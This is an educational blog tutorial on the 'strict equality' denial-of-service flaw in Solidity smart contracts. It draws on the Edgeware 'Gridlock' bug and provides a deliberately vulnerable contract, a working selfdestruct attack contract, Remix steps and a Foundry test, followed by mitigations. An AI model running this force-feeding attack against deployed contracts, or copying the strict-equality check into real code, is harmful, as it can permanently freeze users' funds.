This guide covers the dangerous-strict-equalities attack vector, providing detailed setup instructions, code examples, execution steps, and crucial mitigation strategies.
Introduction
A notable moment in the history of this vulnerability occurred on July 1st, 2019. On this date, a denial-of-service (DoS) vulnerability known as "Gridlock" was disclosed. This bug was discovered in an Ethereum smart contract deployed on Edgeware, which managed up to $900 million worth of Ether.
- Acknowledgment: Edgeware promptly acknowledged the bug.
- Resolution: They addressed it in a commit.
For an in-depth understanding, I highly recommend reading the linked report, which offers an excellent explanation of this attack vector.
Understanding the Dangerous Strict Equalities Vector
The dangerous-strict-equalities vector demonstrates how seemingly minor issues can lead to significant risks. By incorporating strict equality (==
) within an assert
statement, a contract can become vulnerable to a denial-of-service attack like "Gridlock."
Example Code
You can find the code for demonstration purposes here. Feel free to ⭐️ the repository to bookmark it for future reference.
The Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
contract VulnerableContract {
uint256 private totalDeposited;
function deposit() external payable {
require(msg.value > 0, "Deposit amount must be greater than zero");
totalDeposited += msg.value;
}
function withdrawAll() external {
assert(address(this).balance == totalDeposited);
totalDeposited = 0;
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getTotalDeposited() external view returns (uint256) {
return totalDeposited;
}
}
Above, we have the VulnerableContract
, which permits depositing and withdrawing funds. Note: This contract is for educational purposes only and has not been audited. It is not suitable for production use.
With that in mind, let’s continue.
The Challenge
In this section, we will play the role of an attacker and intentionally attempt to gridlock the VulnerableContract
. You succeed if, after your attack, the funds are no longer able to be withdrawn.
If you feel confident, pause here and try to exploit the contract based on the information provided above.
For those who need more guidance, let's delve deeper into the details.
How the Attack Works
To gridlock the VulnerableContract
, our goal is to force it to accept Ether in a way that disrupts its normal operation. Here are two common methods to achieve this:
1. Fallback Function
If the contract has a payable fallback function (receive() external payable
), you can send Ether directly to the contract's address, triggering this function.
contract Attacker {
address payable vulnerableContract = 0x123...
// Send Ether directly to the VulnerableContract
function forceSendEther() external payable {
// Send Ether to the contract address
vulnerableContract.transfer(msg.value);
}
}
2. Payable Function
If the contract has a specific payable function that accepts Ether, you can call this function and send Ether along with the transaction.
contract Attacker {
address payable vulnerableContract = 0x123...;
// Call a payable function on the VulnerableContract
function forceSendEther() external payable {
// Call the payable function with Ether
(bool success, ) = vulnerableContract.call{value: msg.value}("");
require(success, "Failed to send Ether");
}
}
However, our VulnerableContract
lacks a fallback function. Although the deposit
function is marked as payable, it cannot be used for our attack. This is because the contract updates both its balance and the totalDeposited
state variable during the execution of the deposit
function.
To successfully gridlock this contract, we need to create a mismatch between the contract’s balance and its totalDeposited
value. We will achieve this using a method called selfdestruct
.
What is selfdestruct
?
The selfdestruct(address payable recipient)
function in Solidity performs the following actions:
-
Immediate Ether Transfer: It transfers the contract’s remaining Ether balance directly to the specified
recipient
address. -
Irreversibility: Once invoked,
selfdestruct
permanently removes the contract, including all associated bytecode and state, from the blockchain. The contract cannot be restored or reactivated. - Storage Clearance: The contract’s storage is cleared, which helps free up space on the blockchain and reduces the cost of future transactions involving the destroyed contract address.
- Gas Refund: It refunds a portion of the gas used for the transaction, incentivizing the removal of contracts that are no longer in use.
Warning: "selfdestruct" has been deprecated. Note that, starting from the Cancun hard fork, the underlying opcode no longer deletes the code and data associated with an account and only transfers its Ether to the beneficiary, unless executed in the same transaction in which the contract was created
Attack Contract Code
The attack contract is designed to exploit the target contracts vulnerability:
contract Attack {
VulnerableContract public target;
constructor(address _target) {
target = VulnerableContract(_target);
}
receive() external payable { }
function attack() external payable {
selfdestruct(payable(address(target)));
}
}
Attack Steps and Explanation
1. Deploy the Attack
Contract
-
Step: Deploy the
Attack
contract and provide theTarget
contract's address to its constructor. -
Purpose: To enable the
Attack
contract to interact with theTarget
contract.
2. Perform the Attack
-
Step: Call the
attack
function with a transaction value of 1 wei. -
Code:
selfdestruct(payable(address(target)));
-
Purpose: To send Ether directly to the
Target
contract without invoking any specific function.
3. Verify the Target Contract's Balance
-
Step: Call the
getBalance
andgetTotalDeposited
functions. -
Purpose: To confirm that the balance of the
Target
contract differs from its internaltotalDeposited
state, indicating a successful attack.
4. Attempt to Withdraw Funds
-
Step: Call the
withdrawAll
function of theTarget
contract. -
Code:
target.withdrawAll();
-
Purpose: To verify whether the
Target
contract's funds have been gridlocked, making withdrawal impossible.
Try It on Remix
Deploy and interact with the contracts on Remix IDE to observe how the strict equality attack works in practice. You can use this direct link to load the code into Remix: Load on Remix.
Target Contract Deployment:
- Use a dedicated wallet and deploy the
VulnerableContract
contract. - Deposit 50 ETH using the deposit method.
- Verify the contract balance is 50 ETH.
Attack Contract Deployment:
- Copy the address of the
VulnerableContract
- Set msg.value to 1 wei
- Use a dedicated wallet and deploy the
Attack
contract passing in the parameter. - Call the
attack
method.
Confirm the results
- Check the contract balance with
getbalance
- Check the value of
totalDeposited
withgetTotalDeposited
- Ensure that a mismatch is present
- Attempt to withdraw all the funds.
Running Unit Tests
If Remix isn't your preferred tool, you can achieve the same results by running the tests using Foundry.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "forge-std/Test.sol";
import {VulnerableContract, Attack} from "../src/StrictEquality.sol";
contract VulnerableContractTest is Test {
VulnerableContract private vulnerableContract;
Attack private attackContract;
function setUp() public {
vulnerableContract = new VulnerableContract();
attackContract = new Attack(address(vulnerableContract));
}
function testAttack() public {
// Deposit 1 Ether to the VulnerableContract
uint256 initialDeposit = 1 ether;
vm.deal(address(this), initialDeposit);
vulnerableContract.deposit{value: initialDeposit}();
// Check initial balances
assertEq(vulnerableContract.getBalance(), initialDeposit);
assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);
// Fund the Attack contract
uint256 attackFunds = 1 ether;
vm.deal(address(attackContract), attackFunds);
// Verify that the Attack contract has the correct balance
assertEq(address(attackContract).balance, attackFunds);
attackContract.attack();
// VulnerableContract now has 2 Ether,
// but totalDeposited is still 1 Ether
assertEq(vulnerableContract.getBalance(), initialDeposit + attackFunds);
assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);
// Attempt to withdraw all funds (should fail)
vm.expectRevert();
vulnerableContract.withdrawAll();
}
}
Follow these steps:
Install Foundry: If you don't have Foundry installed, follow the installation guide.
git clone https://github.com/passandscore/web3-blogs.git
cd blog-data/8
forge build
forge test -vvvv
We utilize the -vvvv
flag to significantly increase verbosity in log traces, which is crucial for thoroughly examining and verifying the success of our attack. While navigating through these detailed logs may appear challenging at first, engaging with this practice is highly beneficial.
Mitigation Measures
To protect yourself from this attack vector, due diligence in incorporating strict equalities is essential. In our example, we can address the issue by implementing the same approach that Edgeware used: replacing the strict equality check with >=
(greater than or equal to). This adjustment helps prevent gridlock and ensures the safety of user funds.
As demonstrated, it is possible to create unit tests to detect this attack vector, but this requires advanced techniques. Often, unit test coverage might be insufficient because exploits tend to introduce edge cases that may not have been considered. Therefore, it is crucial to ensure that all code intended for deployment undergoes a comprehensive audit by a reputable security firm. Proper auditing helps identify vulnerabilities and ensures the robustness of your smart contracts against potential attacks.
Summary
Congratulations on reaching this point! Armed with this knowledge, you now have the tools to identify and defend against strict-equality attacks.
This tutorial has demonstrated the mechanics of a strict-equality attack by exploiting the vulnerability in the VulnerableContract
. It underscores the critical importance of secure coding practices and emphasizes the necessity of both comprehensive unit tests and thorough security audits to safeguard smart contracts against such vulnerabilities.
Resources
- Edgeware
- Edgeware Vulnerability Acknowledgment
- Edgeware Vulnerability Resolution
- Demo Code
- Remix IDE
- Remix IDE - With Demo Code
- Foundry
Connect with me on social media:
Top comments (0)